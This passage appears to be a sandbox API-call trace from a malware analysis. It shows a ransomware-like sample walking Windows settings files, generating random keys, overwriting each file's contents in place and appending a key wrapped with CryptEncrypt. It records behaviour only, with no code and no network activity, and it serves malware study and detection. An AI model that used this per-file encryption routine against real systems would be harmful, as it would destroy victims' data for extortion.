lpNumberOfBytesWritten=0x2e1f9bc*=0x3c9, lpOverlapped=0x0) returned 1 [0195.595] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3c9 [0195.595] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.595] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.595] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.596] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.596] CloseHandle (hObject=0x1c24) returned 1 [0195.599] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.599] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0195.599] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{45FDB5DF-1457-4A41-A824-7AD9C75767BC}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.599] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3e8, lpOverlapped=0x0) returned 1 [0195.601] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.601] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3e8, lpOverlapped=0x0) returned 1 [0195.601] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3e8 [0195.601] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.601] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.601] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.602] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.602] CloseHandle (hObject=0x1c24) returned 1 [0195.605] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.605] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.605] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{4228F99D-227F-4058-9EA3-BB2B616D7444}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.605] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3fc, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3fc, lpOverlapped=0x0) returned 1 [0195.615] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1020, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.615] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3fc, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3fc, lpOverlapped=0x0) returned 1 [0195.616] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3fc [0195.616] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.616] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.616] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.616] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.617] CloseHandle (hObject=0x1c24) returned 1 [0195.618] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0195.618] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.618] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{420C524A-2A76-43F7-B1B2-C3CF736557C7}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.619] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x45c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x45c, lpOverlapped=0x0) returned 1 [0195.627] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1116, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.628] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x45c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x45c, lpOverlapped=0x0) returned 1 [0195.628] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x45c [0195.628] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.628] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.628] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.629] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.629] CloseHandle (hObject=0x1c24) returned 1 [0195.631] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0195.631] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0195.631] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{40419485-c444-4567-851a-2dd7bfa1684d}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.631] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x345, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x345, lpOverlapped=0x0) returned 1 [0195.632] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-837, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.632] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x345, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x345, lpOverlapped=0x0) returned 1 [0195.633] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x345 [0195.633] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.633] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.633] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.633] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.633] CloseHandle (hObject=0x1c24) returned 1 [0195.635] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0195.635] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.635] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{4026492f-2f69-46b8-b9bf-5654fc07e423}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.635] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x432, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x432, lpOverlapped=0x0) returned 1 [0195.636] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1074, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.636] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x432, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x432, lpOverlapped=0x0) returned 1 [0195.637] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x432 [0195.637] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.637] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.637] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.638] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.638] CloseHandle (hObject=0x1c24) returned 1 [0195.643] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0195.643] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0195.643] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{3F0AD6DB-3246-48E4-ACD7-696FF62AE68D}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.644] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3f3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3f3, lpOverlapped=0x0) returned 1 [0195.645] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1011, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.645] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3f3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3f3, lpOverlapped=0x0) returned 1 [0195.646] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3f3 [0195.646] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.646] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.646] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.647] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.647] CloseHandle (hObject=0x1c24) returned 1 [0195.649] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.649] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0195.649] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{3A4140C8-50D3-44E9-BF50-C878204DE0F5}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.649] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x4d9, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4d9, lpOverlapped=0x0) returned 1 [0195.651] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1241, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.651] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4d9, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4d9, lpOverlapped=0x0) returned 1 [0195.652] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4d9 [0195.652] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.652] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.652] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.653] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.653] CloseHandle (hObject=0x1c24) returned 1 [0195.654] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0195.654] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.655] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{3A100872-EC27-46A5-BBCC-92C90635AE3B}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.655] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3d2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3d2, lpOverlapped=0x0) returned 1 [0195.656] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-978, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.656] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3d2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3d2, lpOverlapped=0x0) returned 1 [0195.657] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3d2 [0195.657] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.657] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.657] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.657] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.658] CloseHandle (hObject=0x1c24) returned 1 [0195.659] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0195.659] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.659] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{3911D4F8-AD61-4911-A151-5682C26A7427}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.660] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x418, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x418, lpOverlapped=0x0) returned 1 [0195.661] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1048, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.661] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x418, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x418, lpOverlapped=0x0) returned 1 [0195.661] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x418 [0195.661] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.661] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.662] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.662] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.662] CloseHandle (hObject=0x1c24) returned 1 [0195.664] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.664] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.664] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{38bd6d6e-bf78-4c31-b05a-7447ee37669f}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.664] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x482, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x482, lpOverlapped=0x0) returned 1 [0195.665] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1154, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.666] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x482, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x482, lpOverlapped=0x0) returned 1 [0195.666] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x482 [0195.666] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.666] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.666] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 